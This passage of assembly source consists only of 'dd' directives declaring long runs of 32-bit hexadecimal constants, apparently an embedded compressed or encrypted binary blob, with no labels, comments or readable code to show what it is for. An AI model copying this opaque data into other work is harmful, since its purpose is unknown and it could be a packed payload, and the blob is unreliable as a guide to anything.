973D0670h, 0DF823B1h dd 257421DAh, 800F518Bh, 6D8D2A20h, 48400E08h, 81A12550h dd 0DACA384Bh, 0A5A01638h, 1B661453h, 0C99D2C92h, 2D420D93h dd 434B123Ch, 68B045C5h, 81853CF8h, 78103C46h, 0BE3296FDh dd 82A4775h, 0EE7084CCh, 40B8DA5h, 6D265168h, 0A670A35Eh dd 289B4627h, 84543BBFh, 1CCA8216h, 11FEE1A9h, 761E57A1h dd 0EEC40FC4h, 0A547F928h, 0FCB4683Ch, 5275858Ch, 4A516253h dd 0B22E297Eh, 923C7B08h, 9DC1CE44h, 4B2CD031h, 5A245559h dd 68982510h, 0CF24C40Dh, 44F174C6h, 0D485025Ch, 6185C87Dh dd 1B457503h, 4E8311F5h, 44491C21h, 743D903Bh, 992F8359h dd 9F98466Ah, 0F8142802h, 4184240Fh, 5A2F2D0Ch, 21109185h dd 0C0A14B4h, 8B4F9292h, 50890AA5h, 6409633h, 1988A68Bh dd 2A0AE8C1h, 730A1508h, 0DF0A2B0Ch, 0E3250DADh, 3344EC04h dd 0F928213Ah, 0F751FC08h, 4B33C224h, 230BCE1Ah, 283EA5F8h dd 0C2846C21h, 1C11A3C4h, 3359A752h, 969D5DD6h, 7FEB2928h dd 0B7562C1h, 6964E39Ch, 3A9D5D17h, 966A4C20h, 327C5AAFh dd 26D15ED2h, 506682Fh, 28127620h, 0E816053Fh, 0E64A3F56h dd 43549923h, 692BC844h, 4C5BC142h, 252C14E5h, 0E8938C06h dd 0DB651C8Bh, 0FA8C88B7h, 10058794h, 5F25FE58h, 14136D45h dd 0B822E6F6h, 0E841359Ch, 527C38CBh, 0D039EC88h, 6A889F19h dd 0E87AE408h, 9D04EC61h dd 0D2662110h, 8041AE9Ch, 1AF70564h, 0F6862064h, 1CBF1625h dd 9C916F36h, 8023B706h, 0F6046892h, 0F2ECE5CAh, 4770758Dh dd 5EC058Fh, 1676F208h, 16A2476Ah, 2C228DBh, 832C6710h dd 43249E47h, 2F815844h, 0F7939B85h, 222A32A2h, 0BF34627Eh dd 426A5127h, 43680C68h, 695148E8h, 1A187D40h, 0FE21083Dh dd 3D871A65h, 0D81E22F6h, 0E77D642Fh, 978D0AAAh, 0BD813048h dd 7A5C06A2h, 3277C005h, 46740C28h, 7C03207Ch, 28554680h dd 40461805h, 140C1D28h, 0E6FEB46h, 728A8D88h, 93440C63h dd 62507644h, 29742294h, 2F08FD31h, 843DEB2Ah, 34E5BC45h dd 88A41390h, 8884902Bh, 88649022h, 88409019h, 88249010h dd 0BA149407h, 1FFA0A5h, 0EC7B26B7h, 0B387FEADh, 2F0C203Ch dd 42A886FCh, 0C22F0Ah, 1C082A29h, 4400F07h, 0EE72B00Bh dd 0B8430C8Ch, 0B479C4C8h, 0E49C210Fh, 87A83CA0h, 0A4F2AC90h dd 0FC0CFB1Eh, 129550F6h, 4CF185F5h, 8049985Dh, 0D59622DAh dd 51B0449Fh, 82DE1D48h, 9C0B74EBh, 0A66B4BCFh, 0FEF410C5h dd 391F34B9h, 1A811AB7h, 0B0536D20h, 0D772092h, 0C93C6830h dd 92A196E8h, 0BEB3EF5h, 460D28A8h, 487C8889h, 705C0932h dd 38814538h, 750ADB91h, 0DECEB51Eh, 0FA78B891h, 491ACF4Dh dd 208189A4h, 0B7FFC883h, 0C9FB1A96h, 8F232F48h, 0BE5E764Eh dd 231E457Eh, 15C80209h, 27703F68h, 7234B3C4h, 90BB80Ah dd 0C1A8FBE9h, 21BAA41Eh, 21C2BC27h, 8870CF3Ch, 8A8B2D4h dd 0EA4A845Fh, 0E8306A40h, 78B13553h, 8173CC90h, 9736110h dd 5810822Dh, 8902A9E9h, 0CCF81021h, 355125E8h, 0A2BD69E6h dd 5FD04561h, 43101488h, 1A34C766h, 21B8A102h, 1C691427h dd 4C4D455Ch, 66873840h, 88D2AACAh, 0E7C7CC0Ah, 0C80A9137h dd 0F7500B64h, 0C8320832h, 1EA5B64h, 0CC25C2E1h, 89C5FF1Fh dd 212C0848h, 9C4810Ch, 7F0A06D5h, 4C530C81h, 13248D10h dd 762097C3h, 41891E2Ch, 0D4654B18h, 9484F7F0h, 9B801684h dd 0CA86348Eh, 1322141Eh, 1C7F408h, 20704C9Dh, 63B1723Ch dd 0FBB80A40h, 0C4E9802Ah, 0E08839D9h, 0DAE5C93Ah, 161D542Fh dd 0FA511174h, 1E826C88h, 288403Ch, 2EE2EB37h, 90E434BAh dd 0C06B5D58h, 14DC3064h, 0E4203F55h, 0A57C1FE7h, 2442926h dd 340DE8E4h, 0FDF0401Eh, 639F3342h, 36341842h, 0E89EF250h dd 0AC17ED86h, 0A8C13B0Fh, 103830Fh, 0A215327h, 0C048D522h dd 4509D31h, 3E9E8CDh, 55CBE4BBh, 9DE289BAh, 44C70F38h dd 0F28A22F9h, 64AC13BCh, 89BC3870h, 91014954h, 0AC13B8F2h dd 0B8287264h, 61380C25h, 214EE310h, 59228D35h, 3C91AA6h dd 0E989EB55h, 5622180Ah, 414C790h, 0F489B588h, 14F0BA11h dd 0E1FB312Dh, 182332CDh, 5EA8041h, 31C7119h, 48179AC8h dd 4C4C2018h, 59E91C02h, 0E55394EAh, 0C916847Fh, 0F8E310C2h dd 0E3043415h, 0BEF17589h, 4609740Ch, 0E0242C20h, 100BA6CCh dd 44B8E726h, 3534AFCCh, 6ADE41BCh, 0BF0F2C06h, 745EA6D9h dd 5600A045h, 9297840Fh, 0E42D842Ch, 46046470h, 0CC84591Ch dd 46BD8311h, 859F006h, 70E909C3h, 3D057B02h, 9516B5A8h dd 40F67EB8h, 946870B6h, 2E0133Bh, 42E98091h, 1F91854Dh dd 6E782E04h, 4A5D52BCh, 20BC7859h, 253C3A0Dh, 242AC80Bh dd 0D90FE989h, 4564E1Dh, 493189C4h, 14198240h, 47BA8476h dd 0E610EE39h, 8C8AAE01h, 118C852Eh, 0C6E9876Ah, 1E4820Ah dd 9038DF10h, 78818442h, 2B7F1CA4h, 0AC910C74h, 69759C80h dd 6E21DCA1h, 0E33CEE01h, 841A4571h, 0EB313FC9h, 0A2115828h dd 936F46ADh, 4918DA32h, 3A3CD5A1h, 4F275889h, 0F60A7461h dd 26B346A0h, 2167D66h, 0B70F5970h, 8CA0C5C0h, 936BBD34h dd 0A643C48Ch, 0F21C425Fh, 6B2828A0h, 12510A52h, 6DEBC42Bh dd 10963891h, 0E8257D91h, 68431338h, 9A68BA68h, 4D767D28h dd 0BAD7707Ah, 8B582ADEh, 0D216A814h, 4271AC2Fh, 32EBA112h dd 6F012659h, 0E63D2FA3h, 0A79A13D6h, 0FB824F56h, 0E217A98Ch dd 0D9474168h, 0C297453Ah, 5C5DA21Ch, 4BF748DEh, 857E73D2h dd 73A75D20h, 0A0681803h, 0C9254189h, 538C8B54h, 681385A5h dd 75140F78h, 11582ED9h, 0B53C10A3h, 27D26838h, 82C25D7h dd 688AAB54h, 0C7BF2B58h, 4C141821h, 111CF213h, 20211B40h dd 24B23411h, 286CAC13h, 0C8144684h, 0B2114E2Ch, 88EA1330h dd 23344234h, 223864D0h, 0C33A12C8h, 4C61AFD6h, 2757B468h dd 223CE4E8h, 42139EA0h, 64882340h, 0D9982744h, 0A5640848h dd 11FC9260h, 8E782119h, 4C295442h, 88B0EE13h, 115CD93Ch dd 2C453D83h, 547974B9h, 81090958h, 1475085Ch, 1B05C71Eh dd 1A358816h, 1C0214A4h, 0A8838BAh, 3BBD0C1Dh, 30536814h dd 0E0F0CA80h, 8ACAC839h, 47BF6018h, 68295022h, 0E864270Ch dd 270150A1h, 0FA0987ECh, 0E2144C39h, 28B80C6Bh, 19E8F012h dd 6C012DC0h, 5EDC3FADh, 13EE4250h, 0C4E22D3Eh, 3EC5BD9Eh dd 1A544C4Ah, 0F1088E8Bh, 0A14C9F39h, 93FD0C34h, 11F1508Fh dd 8F885919h, 8B9530A1h, 39045E51h, 5A2289C4h, 96CD44A2h dd 592739F9h, 44B59442h, 0A299958h, 42481157h, 0D37C5834h dd 0AA482CF0h, 20EE4163h, 200EABA1h, 0EB021396h, 10280AC3h dd 0F0223865h, 424888C8h, 30D51513h, 84EDD8CEh, 1B11DAEDh dd 42EE0949h, 0E82D1971h, 0D1502CC9h, 2910F883h, 8D381176h dd 61F9148Ch, 0F4B81BCh, 0EE9805BEh, 1096066Ch, 6662090Eh dd 1711EDDCh, 30FB3009h, 0A1EE87C8h, 240EB217h, 274ECF98h dd 8AD64C9Dh, 0E8392116h, 32472BE5h, 0F651B0C5h, 4E088878h dd 15D03C35h, 4228F38Ah, 231C8214h, 0E212BE0h, 408FA210h dd 0CE1EA15h, 0E0C0D14h, 0C01352CCh, 0AB0EAE2Eh, 0C22BE4Dh dd 852594AEh, 49ACDB57h, 32703BDCh, 2C0DE102h, 18137DE4h dd 465418Ah, 0DE5BB9ACh, 0E20621E5h, 9C5D3A2Bh, 0A24C855h dd 171F2A0Eh, 408A632h, 0D337BB14h, 0AF06C568h, 4D8D4A17h dd 896721B8h, 9989F568h, 0E5046F53h, 2C443DF3h, 19142255h dd 0DFC92F51h, 76019B00h, 0B746A120h, 13BD7C2h, 0C401D2Dh dd 710CE104h, 4A10DD48h, 65C1DAEBh, 0B626080Eh, 0E8C1C07Bh dd 811DC510h, 3E9FF9E1h, 1454E803h, 0F7223052h, 7ACE97D0h dd 0CE00C56h, 0D4E7402h, 8926EC03h, 33F06804h, 8624AB64h dd 0FE6825DBh, 0E8014FA0h, 9095C2DBh, 68084D1Ah, 0BC83870Bh dd 1FE48014h, 0C118BCE2h, 220852E0h, 0B98025CAh, 98C824D2h dd 0A17910E4h, 7464244Ah, 861E1872h, 0B51598ABh, 5A4B17CBh dd 4BE82C61h, 56BC2954h, 5D8A9E4Dh, 68048224h, 185F8A48h dd 9F2A2795h, 6E05FF39h, 3753B84Ch, 0C478E40h, 0AEB9388Eh dd 0F11B4C34h, 1DCE2946h, 6A8803ABh, 78D6641Bh, 0F831B702h dd 0B4DDC651h, 63EA822h, 13318175h, 0F11C4E03h, 22619410h dd 0BF43223Fh, 54B23B95h, 44D8707h, 0BC9EC076h, 8D18C3F1h dd 0BD64A40h, 4466EB97h, 4B280C36h, 63548D04h, 57E42E8h dd 0BB86855h, 419A9BB8h, 0EFF8C1h, 0BD0E31E8h, 0F4455E18h dd 0DDF0DCCFh, 5167095Ah, 0D0C19E1h, 7806D9FFh, 2DC7C844h dd 5F3E932h, 0F42784A5h, 2D10BC82h, 82B0FE2Ah, 0E24A643Dh dd 0E8208242h, 9C68766Dh, 0B51D7768h, 17CDC986h, 3F1CEA90h dd 690E782Ah, 7FF434A1h, 20EE51C4h, 15FF17FFh, 5F15185Fh dd 2F279F05h, 62E82281h dd 8071C610h, 0A5950F11h, 0D3B4A8E2h, 8A05A9B5h, 0EC14C379h dd 0FE1C15E3h, 3919D8EFh, 96EFAC03h, 0A32448A1h, 1F0294EEh dd 905C497Bh, 0AE0D4E50h, 0C0F852EEh, 3EEE062Bh, 0DDA0F40h dd 88E83AF7h, 0EEA3F758h, 9468C326h, 0CED2F847h, 0FCEE9B0Fh dd 68202167h, 0B6A5B31Ch, 3DF408E4h, 0BA20127h, 4BC1F330h dd 0A207D068h, 2110D677h, 0CCC8A21h, 0D16EC877h, 8B790AE0h dd 8D606CECh, 0B265112h, 940F3B88h, 88DC49E9h, 4667E40h dd 9A119580h, 24241414h, 107F1848h, 4137B540h, 0C9815108h dd 0CC216F84h, 0FC04FF7Ch, 42BDDED2h, 0A9F4453Eh, 83124032h dd 643A988Ah, 4B64BE29h, 35DD67FEh, 552B1AB5h, 9D47965Dh dd 5B23896Dh, 0A21F10F1h, 0B781988h, 66B6AD7Ah, 89552D2Eh dd 5BF5327Bh, 0D1167F1Ah, 29D058BCh, 0F1608586h, 70A21A10h dd 88DB3D15h, 0FB4FF8DEh, 5644F3B6h, 73EAA654h, 0E5816B0Fh dd 4D95B046h, 0FD60928Eh, 0F1FCA2CBh, 70256F8Ah, 18096210h dd 750B3145h, 1F69E521h, 0CA151602h, 0E80C04E7h, 0B02324A5h dd 491FEBA9h, 1CAA0221h, 97EB6790h, 25BCB5FAh, 19A41545h dd 4561B132h, 0A8E4163Ch, 2C4C7A1h, 6CDE100Eh, 0BF0CEF7h dd 210868F8h, 245EE894h, 0D4208F73h, 2DCC2BE7h, 0AD139776h dd 620202Ah, 0CDD4A05Fh, 626EB91Fh, 0C81D844h, 0E00D2454h dd 1BB5FC10h, 5AFEFA69h, 0F8DC4088h, 0BCE00CCCh, 2E0545D8h dd 552D8250h, 1A6CA918h, 89EC7444h, 0F7E8D406h, 0C9C8DB23h dd 0FBD06412h, 10099F4Fh, 2B37C745h, 0D6840F09h, 0EA8BCD9h dd 8060C54h, 52045C86h, 730ECCA2h, 4BCAE9D3h, 0BFEC82Fh dd 174B09A4h, 12B6A908h, 274CB30Ch, 9F524C1Dh, 502D30AFh dd 9B2D280Ch, 15743D6Eh, 445E8CE8h, 0A4183210h, 12DC0815h dd 0E81DC20Eh, 377A0BB9h, 6882677Eh, 157501D4h, 24326A1Eh dd 95446823h, 232A4332h, 4DA2E6B9h, 0CC55020Ah, 4815489h dd 21400FA6h, 17C401FAh, 48BF3881h, 506754Dh, 0C95917E9h dd 9F33D074h, 0FC833720h, 812910Dh, 8D6922E5h, 0F6362B1Fh dd 0E8B4CC4Eh, 4E73C5Eh, 0FD661755h, 4C2A5E24h, 31408DBh dd 30593D01h, 0E8FC8376h, 86047013h, 0C11E4054h, 504F0090h dd 64FC9764h, 448D5CD8h, 0FC92815Ah, 0C80B7622h, 86FC9B15h dd 2A53541h, 82926341h, 0C827DD47h, 0D3C75660h, 833B2086h dd 0FE8A74A5h, 613E4F24h, 65F4D3BBh, 90F8D88h, 0F809173Bh dd 0CACA1B10h, 52276405h, 0B56E2750h, 0E8E831DEh, 322C31EEh dd 0D4843C13h, 3C85644Ah, 3C8577C6h, 408828C2h, 1E7A7329h dd 95958337h, 52C14A53h, 7F78184h, 96443B37h, 0A56D504h dd 0A2A8030h, 8A293948h, 5B312F73h, 969470CCh, 0DE89890Ch dd 786F38A8h, 41A5BFEBh, 8114FF21h, 689D540Ah, 9829648Ah dd 0BA555CBEh, 0DD50FCC5h, 50D01BEFh, 7141FCBCh, 982E94A0h dd 0D123EDD6h, 0E9E27864h, 0EC14457Bh, 7BE10286h, 0B308F6DCh dd 5E41A938h, 6027A954h, 77C63C85h, 1EC83C85h, 3D5623E3h dd 4AAFF51Eh, 0D834BF90h, 23C53F75h, 8C34B881h, 30739E45h dd 5435432Bh, 4A2D2978h, 6A40211Eh, 455CC417h, 933039E9h dd 5FD2330Ch, 0F7A145B9h, 6CA50AF1h, 0E669D912h, 95890881h dd 4231A870h, 0F4596C42h, 12F61F48h, 15C58295h, 470D5E2Ch dd 0C4DB878h, 4728283Ah, 11090141h, 4588E6F2h, 0F2404A37h dd 0C2816D0Dh, 0E531226Dh, 3C85580Ch, 3C8577C6h, 0D4A1DFC6h dd 31475847h, 0F2819979h, 81916F16h, 0DD5C105Fh, 0F0E68A3h dd 0D5AD08EBh, 5E4C521Bh, 0FC6B3EF9h, 0F44C73B2h, 733250F8h dd 9199255Eh, 0BE305F3Fh, 0C3643816h, 4952127Bh, 0F8B98935h dd 0EB5913D9h, 69C439CAh, 1E3F11B4h, 811F5542h, 6B7DEE7Dh dd 682A9210h, 0E8E6A39Fh, 0AA3D591Bh, 895032B4h, 60431054h dd 0F6F78404h, 2E6C2D49h, 4174006h, 0FE26013Bh, 64C2EB0h dd 1A2FC5BDh, 1D062E1Ah, 543E6E55h, 7210D281h, 419D23DFh dd 6AA437EBh, 950F7230h, 5DC9FBC2h, 0C88E04Eh, 73044840h dd 377EAB63h, 0FA8E441Ch, 52750AC6h, 7265CF1Ah, 3D575E0Dh dd 64A47F43h, 0B35A2B6Bh, 2C2D5C35h, 4F0B1029h, 4AA1E8FEh dd 1037641Dh, 0EC9D382Bh, 74DBBE68h, 71289C1h, 2FAA38E2h dd 355F0C42h, 1665FFE1h, 95AA7537h, 8E15A8A4h, 0BBEC211Ch dd 0D41BEA45h, 110C79C2h, 452BA41Dh, 6CF85542h, 2C104673h dd 0CE65D60Ch, 58752B38h, 0E1DED339h, 3A3C2A45h, 4B66D254h dd 0CD141079h, 857A0BFBh, 31927790h, 7EF06544h, 12F4900Bh dd 0A67BD4B4h, 240CC4A9h, 0A84CD6E2h, 68C4295Bh, 176F9EE1h dd 0E85E164Fh, 42ACA5B6h, 6E95FC89h, 34578E2Ah, 0B7654856h dd 1ED3E8E1h, 687A9A62h, 679F5D16h, 4A1D3A41h, 0C9BA4DB4h dd 9BAA44BAh, 1DA999C2h, 9274B4Bh, 42100028h, 5E0C6483h dd 6551D2D1h, 149A7D75h, 0A2768853h, 9532895h, 11B6806h dd 0CB5D4978h, 0E4E62C89h, 4970DC40h, 10C9F41Bh, 9414EE6h dd 0EB1317E1h, 11348ADh, 0EAE302E5h, 9D402F9Ah, 0C04085C9h dd 894109C1h, 0FEEAE44Dh, 0C8624B09h, 74C51DD1h, 9E91D6C8h dd 0F2D844DFh, 6F74B1FAh, 0D4ACF63Dh, 0CE229C83h, 0E8FA6DDAh dd 0A9F3BC27h, 90C7CD1Bh, 71F411D4h, 77591B8Bh, 27333D84h dd 0D8B09213h, 0EB427679h, 0D73F8416h, 577BE2BDh, 332F1982h dd 33444EB9h, 99141237h, 823FCF8Dh, 857CCC5h, 0EE5A11BAh dd 2FD06AE0h, 1A42582Eh, 0D4F45685h, 0A831A3D5h, 15024503h dd 0F12EA222h, 0C61B01D7h, 286DC485h, 0A406BD83h, 0B512FD3Eh dd 7BE80D81h, 0B44122F2h, 99441955h, 40DC870h, 5392F806h dd 0A5E1D64Eh, 28839774h, 0C81BD8A5h, 4B49C00Eh, 6898CF53h dd 1F0D2107h, 2923283Bh, 260E1973h, 0DCAA3FD1h, 33C44515h dd 27CC29D3h, 812C75C0h, 6452AABDh, 332053D0h, 2A2C8D28h dd 0CA398C89h, 4E61D826h, 82C64CF1h, 468D8375h, 0F879959Dh dd 0B3991520h, 0B6B083E5h, 0B8D2FF26h, 84F190EBh, 0B7D41ACFh dd 0A68B1DDCh, 55E4B786h, 0ABCC281h, 0DEF8C79h, 5E681CF6h dd 5656C21Dh, 48159147h, 73141C39h, 8DCA2429h, 0D58C9D06h dd 2CA4BAE0h, 0C853EB59h, 54C94638h, 93BB8707h, 0B0477411h dd 495E3A38h, 0C862165Bh, 0A393B434h, 1E91D6A0h, 7FE655B8h dd 2968688Eh, 0E8CA260Dh, 4B309122h, 506C919Dh, 6BA75748h dd 8556D2B2h, 0E47DC52h, 68657302h, 0A571BC1Eh, 4B2595B9h dd 48100922h, 4ABD8C65h, 84060738h, 83057531h, 0B9924EBh dd 5E72503Bh, 2C524A3Fh, 4B80F1F0h, 3FF62920h, 0A3029EC9h dd 0BD8C131Dh, 96118AEDh, 0AA73E858h, 0E2B774E5h, 507218B8h dd 0B7174520h, 644C58E2h, 7EFF82Ah, 0A952EC42h, 40DF379h dd 3B0D2307h, 732A05E5h, 5C0E2516h, 58F811A9h, 0CA6848F6h dd 757124CFh, 8909872Eh, 1D536894h, 2A7E5C30h, 56F5338Ch dd 32EFB724h, 0EEF29E65h, 19F314E8h, 33EC1BDEh, 0E867E4F8h dd 0DAF8FCC7h, 77832414h, 0E871E8C7h, 4EFC2A0Bh, 775BF852h dd 0D377128Ah, 0EFF06266h, 0EFF4081Fh, 0B268F047h, 6A12F80Eh dd 2CBD1B0Dh, 5A0B0112h, 1A457C5Ch, 6F211835h, 7B2C1858h dd 21BBB793h, 0D2B81EC9h, 0CE774413h, 0B9680515h, 0CC2771EAh dd 424C08ECh, 713BCF15h, 5DCA682Fh, 29D85FDh, 881063CAh dd 0D50C9AEFh, 0ECCCEB30h, 8C412888h, 6D07FE20h, 2A27D8C7h dd 0C4B8D64h, 68067E50h dd 4158933h, 3B23575Bh, 0C440ED08h, 822651C3h, 0C4EDCCE8h dd 2D6595C4h, 7B14D008h, 0EF73A811h, 0AE147264h, 31962B6Dh dd 0A406FCEEh, 0CCD943ECh, 3C165C3Fh, 0D0959884h, 641BDE7h dd 478296C2h, 5541226Bh, 962A228Bh, 458E16A8h, 4247298Ch dd 68131822h, 20FC1060h, 658D8CCAh, 26A2642Eh, 16F5CE0Fh dd 4EA84218h, 380FAC11h, 0F024078Ah, 8DC5050Ch, 1880C05h dd 0C0F1470h, 0C6028F40h, 92110940h, 0C0A2D70Ah, 0C911048h dd 0F21A9466h, 164C7EE5h, 47C83FA0h, 40DF379h, 820D2407h dd 0F20797Ch, 0A4065F8Dh, 898153C8h, 0A0F0A829h, 52189006h dd 209091Fh, 0B8D6840Fh, 200D5238h, 21A2003h, 45A3E958h dd 49FCFFD3h, 0AB590701h, 0D1CE3808h, 6B886809h, 0E8EC0120h dd 15134D43h, 111A16D9h, 453F3D59h, 627B731Eh, 0D11CBB32h dd 0A9231222h, 97E2B610h, 0AC859015h, 74148773h, 12ABC67Ah dd 70BB4DFh, 0C651C803h, 868119BDh, 0FFAD431Ch, 217B0246h dd 0A2E5940h, 42561CC8h, 0AAF8B10Ah, 9064230Bh, 3942F230h dd 2847F66Fh, 56AAC508h, 62121B21h, 6E1611F2h, 0A5C5A5Ch dd 0E82F96E8h, 7187950Fh, 78230FD1h, 4B3D69C4h, 119F100Ch dd 31E4B1E3h, 2F5294EBh, 475CB43Ah, 0F11C882Bh, 64231A0Dh dd 55F24390h, 0BD82E930h, 0E817C1CCh, 95E3A9DBh, 6E4EB426h dd 273E32D6h, 0BE080745h, 1C6059A9h, 1A114314h, 12831DE9h dd 9F847730h, 88345128h, 1C88718Ah, 3B1048E0h, 0CBDCB7B3h dd 0A9588463h, 0A946102Ah, 12AF34A8h, 10AC2290h, 49572987h dd 7157648Ah, 6365F25Ah, 15A8DDC2h, 54A8CB08h, 0C812B957h dd 954356A7h, 0CDA37694h, 0F9DF38F4h, 8E84E719h, 0A8621028h dd 0BFDB8ACh, 63CD8F3Dh, 1BA833F1h, 0CAC6243Fh, 6D10F15h dd 0CA0C520Fh, 4E79913Ch, 11632719h, 0C8B3A7D7h, 0ADB96CFCh dd 0F4AA100Fh, 43E0ED2Ch, 90F28F0Eh, 2822EBC5h, 0A74C78EAh dd 52CEAC46h, 0A5CAEA0Eh, 1080243Bh, 0B0129FACh, 33E6029Dh dd 68D837BCh, 1A730922h, 3542158h, 0D0E08A11h, 8D72E050h dd 1880DA0h, 0D2CBEB3Eh, 1CC01244h, 7C7339D9h, 9789661Eh dd 824A1102h, 4821647h, 0F9296EE8h, 52739F7h, 1A1820E2h dd 8584188h, 7C895E18h, 0E874987Eh, 12E3AC2Fh, 6E1E2C60h dd 4067AC0Ch, 13A0B514h, 20A521E8h, 820AB1B2h, 55F245E9h dd 0CAE849C8h, 6FA5A670h, 0E291612h, 0A09A6CDh, 57148A8Eh dd 1A7808C5h, 106A2518h, 0E085D16Ch, 5B9A32A5h, 42C5BC77h dd 0C1C6B82Bh, 9DF0682h, 22D64C5Bh, 7896396Ch, 29F5AEC2h dd 95393FC1h, 5A377D20h, 0CCA86E59h, 83943B09h, 8211D9FDh dd 212F42F9h, 9047217Fh, 0F7769A25h, 0CED52BCh, 2B1C8106h dd 2903BB92h, 0E81770C4h, 0CE90CDAh, 0EF85EAA3h, 22AA1674h dd 39D9DD5Fh, 7097D425h, 17D8A705h, 0E11BB430h, 10F2DC7Bh dd 29A74384h, 2833169Eh, 0B4D9DB14h, 81D5D8BAh, 0D102AD2Fh dd 12C795B7h, 1C61B1C8h, 7A0BB5E8h, 518F788Bh, 917F1BB8h dd 0B90E7D14h, 2580A11Fh, 1355CBC2h, 242E45B5h, 898860BFh dd 83C4B188h, 4E7E6431h, 3AF4212Dh, 7F4764B8h, 9068178Ch dd 0C4CFBD8Ah, 424455E5h, 1A102236h, 1E04917Fh, 4110947Eh dd 0EBE80822h, 0B0726B0Bh, 0F6457C6h, 135FAE90h, 214F2EA6h dd 2A0BB48Dh, 510BEC8Bh, 8CFA8068h, 0F63C8522h, 0B38A4BF0h dd 70EB928Fh, 8AE068EBh, 98716797h, 0CC685F7Ch, 42BA13A7h dd 7464B423h, 44369C22h, 3D518378h, 22C6433Fh, 90701221h dd 40867D19h, 8867810h, 9C05C607h, 57E60192h, 2BB73C2Ah dd 10A55756h, 0A119616h, 29F24920h, 0E101612h, 0F64BC293h dd 6525225Ah, 6FD67EF4h, 0D0F5E40Dh, 0A5ABEE8h, 0D1890DB6h dd 63E47619h, 1A2C6F7Fh, 2212C445h, 26850B49h, 0EC4AA991h dd 401FD072h, 6FA47CBEh, 732C0E50h, 0FAE951A1h, 3B65BE4Ch dd 0B1E47386h, 0C119C7ACh, 0B3D9A9E8h, 1AECCB39h, 825925D3h dd 16FF0A07h, 433F84C8h, 93442134h, 80923F4h, 0E759116Ah dd 0D022094Bh, 0B1939754h, 0FB65EB4h, 73F804C0h, 8D146852h dd 6051A5D7h, 4911E89Ch, 0F0CADA0Ah, 2F734D68h, 0DB557FA4h dd 14E0BC5Eh, 28C48996h, 7694FC68h, 0A32F206Dh, 9A514F3h dd 9FEB85E8h, 0C410CA2h, 0FC5700Ah, 0ADBC783h, 4475F23Fh dd 10682D41h, 38D5D809h, 84FED037h, 8F12DAEDh, 9AF53200h dd 5ED80892h, 31622F36h, 0B545BFF4h, 705E1D19h, 10903C22h dd 0EB7FA4CCh, 846A8D2Dh, 0CCBBC4DEh, 1AACD8AFh, 0B715FEA2h dd 2595A8BFh, 0D51C439Fh, 8CC8197Ch, 0C1E6085Eh, 40C4D43Fh dd 8ED57B86h, 4293EC9Fh, 0C4CA64D4h, 746B3224h, 0A378D82Bh dd 5CAE9D97h, 0EBD12D59h, 65FED408h, 4E36397Ch, 87DC546h dd 23459FE6h, 46FE56FDh, 883FF1E4h, 4E9D485Ah, 0D35621Fh dd 1A417701h, 0F22BAD2Dh, 0FED32196h, 1B755C04h, 0E8C3B98Ah dd 0EDF59489h, 24474907h, 0E9D025BEh, 6117D265h, 14392DE1h dd 17EB0091h, 941D1048h, 8EE6F1Fh, 0ED8EEF4Eh, 5FE902D8h dd 9E8A5E4Fh, 0E707D313h, 223B4C95h, 0A76827B0h, 58948553h dd 7B9C4AFh, 0A8A293A8h, 97C92B8Eh, 548F9177h, 8476D023h dd 12F012A1h, 5613AB8Bh, 0C7382281h, 0A91C6810h, 5C954E7Eh dd 71611C45h, 7BB29822h, 0A73BFFA5h, 0EF8C7905h, 0DFB5408h dd 0C29631F2h, 0C8707109h, 0E6044A2Ch, 0F997568Dh, 5E1A6893h dd 0E49074EAh, 90CE1987h, 68AD20F9h, 10AD4FEBh, 188A70B4h dd 7A45C9C9h, 821491Fh, 0A097FE54h, 0A4A76B8h, 90C587Ah dd 0DA7E32ABh, 0E83E98D2h, 0F6064B79h, 422E89BFh, 4263534Bh dd 54460665h, 8B446812h, 447CA29Ch, 3043A063h, 0AB2092DCh dd 0C14FE72h, 8D9421FEh, 9174E862h, 913EF85Bh, 0C2437986h dd 7D942EE6h, 0C8735C94h, 57801981h, 45122C76h, 40E79B09h dd 0AB058AE2h, 0F89E261Eh, 0B210E4E0h, 9A659D95h, 54B68ACh dd 2205CCF8h, 36B9BBE9h, 4BF1BC92h, 65DB3FB8h, 0B4B0BF4Eh dd 0F2C59D98h, 8245F0A8h, 7CAE886Ah, 353AE481h, 0CA69AA7Eh dd 843B0F98h, 1EAB5173h, 0A8D8BFF4h, 9F0EA538h, 0F32A900Dh dd 1E1CF21Fh, 0E43167Eh, 97F10C2h, 2EC0C631h, 91A053EBh dd 121C8948h, 48E3206Fh, 8A8415B7h, 0A2036CA1h, 5E14753Ah dd 223D77A9h, 0FA442B30h, 66BEFC13h, 33C81241h, 6AB83B24h dd 7014872h, 0FAECF8A3h, 2DA06632h, 4B4C0E13h, 8CE64E7h dd 1A7E156Bh, 9D46E884h, 39563EAh, 0DBD0FC9Ah, 97A5DE4Eh dd 2FFE116Ah, 173906E2h, 0BD850C1Ch, 64850640h, 9C147710h dd 0F5161062h, 0D812DE07h, 44124E1h, 0EBC5986Fh, 724F1896h dd 4402A05h, 30FC2DD4h, 6A23DA33h, 84F684E5h, 2A2E8C59h dd 3CA7084Eh, 0ACC74F7Ch, 0CB99550h, 456BEB80h, 8428E78h dd 4944F8A7h, 0E6E27048h, 2423E07h, 1CE32722h, 34485C4h dd 4D8D0A24h, 0F30FC99Eh, 0A076DF74h, 0BC035B29h, 0FDF0424Ah dd 0C79C1BFDh, 0E1FF6F88h, 52FDCE3Eh, 4535188Ah, 30175203h dd 3E755C03h, 11BD2CA4h, 5C60127h, 0AC481213h, 62728C95h dd 3D14F9E7h, 36C76E20h, 4BBAA0E8h, 85FAAD02h, 5F248194h dd 29B63122h, 2711BE88h, 0E8421556h, 2D210FBh, 4968279Ch dd 2200D0AFh, 798FBE8h, 5324F45Fh, 0EF6A2536h, 85B1508h dd 9465A4E3h, 6337EA6Ch, 97A31006h, 28273C0h, 0EC44DFA6h dd 5F2CDA8Dh, 78FC0A11h dd 4F93471Bh, 0C2AF0E2h, 4B0F733Fh, 0DDDCFC19h, 14E7E4A7h dd 30167502h, 8B646882h, 2D6364D4h, 31AF856Ch, 2B04FC8Dh dd 561563E1h, 1EBC50FFh, 3590FC8h, 20CF949Ch, 93EE6858h dd 8369081Dh, 955D56A5h, 9B4C068Bh, 0D478BD4Ah, 48099072h dd 907456Ch, 2931390Dh, 3155D72h, 0D0E04E11h, 54682550h dd 0FEDC0E11h, 9701C510h, 0E01F3A73h, 609951E2h, 3D03D141h dd 1F726E41h, 0B30B1649h, 0D16B7A10h, 0D044D07Ah, 2CA1DF3Ch dd 0C8761564h, 42C83846h, 416428C8h, 0C50D6725h, 360C5435h dd 